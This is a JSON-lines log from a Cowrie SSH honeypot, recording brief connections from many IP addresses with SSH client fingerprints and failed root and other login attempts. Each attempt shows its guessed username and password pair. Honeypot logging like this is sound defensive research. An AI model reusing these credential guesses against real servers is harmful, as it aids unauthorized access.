{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:24.350494Z","src_ip":"8.218.166.49","session":"598d11e32ef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":25852,"dst_ip":"10.17.0.5","dst_port":22,"session":"95f50b57c2b8","protocol":"ssh","message":"New connection: 49.207.40.162:25852 (10.17.0.5:22) [session: 95f50b57c2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:25.430690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:25.435490Z","src_ip":"49.207.40.162","session":"95f50b57c2b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:25.655789Z","src_ip":"49.207.40.162","session":"95f50b57c2b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"super123456","message":"login attempt [root/super123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:26.567038Z","src_ip":"49.207.40.162","session":"95f50b57c2b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:27.790496Z","src_ip":"49.207.40.162","session":"95f50b57c2b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":60744,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f6c2294878d","protocol":"ssh","message":"New connection: 182.180.57.212:60744 (10.17.0.5:22) [session: 3f6c2294878d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:28.610901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:28.619177Z","src_ip":"182.180.57.212","session":"3f6c2294878d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:28.856665Z","src_ip":"182.180.57.212","session":"3f6c2294878d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sport","message":"login attempt [root/sport] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:29.839193Z","src_ip":"182.180.57.212","session":"3f6c2294878d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":46258,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1e26d484bfa","protocol":"ssh","message":"New connection: 8.218.166.49:46258 (10.17.0.5:22) [session: e1e26d484bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:30.098590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:30.104311Z","src_ip":"8.218.166.49","session":"e1e26d484bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:31.079451Z","src_ip":"182.180.57.212","session":"3f6c2294878d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:40.845655Z","src_ip":"8.218.166.49","session":"e1e26d484bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":59560,"dst_ip":"10.17.0.5","dst_port":22,"session":"38134d0ce033","protocol":"ssh","message":"New connection: 68.183.178.130:59560 (10.17.0.5:22) [session: 38134d0ce033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:41.567305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:41.572455Z","src_ip":"68.183.178.130","session":"38134d0ce033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:41.814068Z","src_ip":"68.183.178.130","session":"38134d0ce033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:42.798089Z","src_ip":"68.183.178.130","session":"38134d0ce033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:43.875643Z","src_ip":"8.218.166.49","session":"598d11e32ef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:44.039725Z","src_ip":"68.183.178.130","session":"38134d0ce033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":49364,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aea26753736","protocol":"ssh","message":"New connection: 14.63.196.175:49364 (10.17.0.5:22) [session: 1aea26753736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:45.061386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:45.065920Z","src_ip":"14.63.196.175","session":"1aea26753736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:45.269087Z","src_ip":"14.63.196.175","session":"1aea26753736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teddy","message":"login attempt [root/teddy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:46.115643Z","src_ip":"14.63.196.175","session":"1aea26753736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:47.321918Z","src_ip":"14.63.196.175","session":"1aea26753736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:49.205586Z","src_ip":"8.218.166.49","session":"e1e26d484bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.9","message":"Connection lost after 20.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:51.017621Z","src_ip":"8.218.166.49","session":"e1e26d484bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55504,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee2fbdc15652","protocol":"ssh","message":"New connection: 8.218.166.49:55504 (10.17.0.5:22) [session: ee2fbdc15652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:55.402519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:55.407570Z","src_ip":"8.218.166.49","session":"ee2fbdc15652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":46290,"dst_ip":"10.17.0.5","dst_port":22,"session":"08f1a7af95cd","protocol":"ssh","message":"New connection: 198.23.150.42:46290 (10.17.0.5:22) [session: 08f1a7af95cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:55.537122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:55.542313Z","src_ip":"198.23.150.42","session":"08f1a7af95cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:55.561222Z","src_ip":"198.23.150.42","session":"08f1a7af95cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"811014","message":"login attempt [root/811014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:55.669887Z","src_ip":"198.23.150.42","session":"08f1a7af95cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:56.692810Z","src_ip":"198.23.150.42","session":"08f1a7af95cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:57.932754Z","src_ip":"8.218.166.49","session":"ee2fbdc15652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":54630,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbb23a5d6a45","protocol":"ssh","message":"New connection: 2.57.122.238:54630 (159.203.135.109:22) [session: bbb23a5d6a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:08.298496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:08.307361Z","src_ip":"2.57.122.238","session":"bbb23a5d6a45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:08.412984Z","src_ip":"2.57.122.238","session":"bbb23a5d6a45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:08.728637Z","src_ip":"2.57.122.238","session":"bbb23a5d6a45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:09.837167Z","src_ip":"2.57.122.238","session":"bbb23a5d6a45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":43100,"dst_ip":"10.17.0.5","dst_port":22,"session":"178bfdee6861","protocol":"ssh","message":"New connection: 68.183.178.130:43100 (10.17.0.5:22) [session: 178bfdee6861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:18.512551Z"}
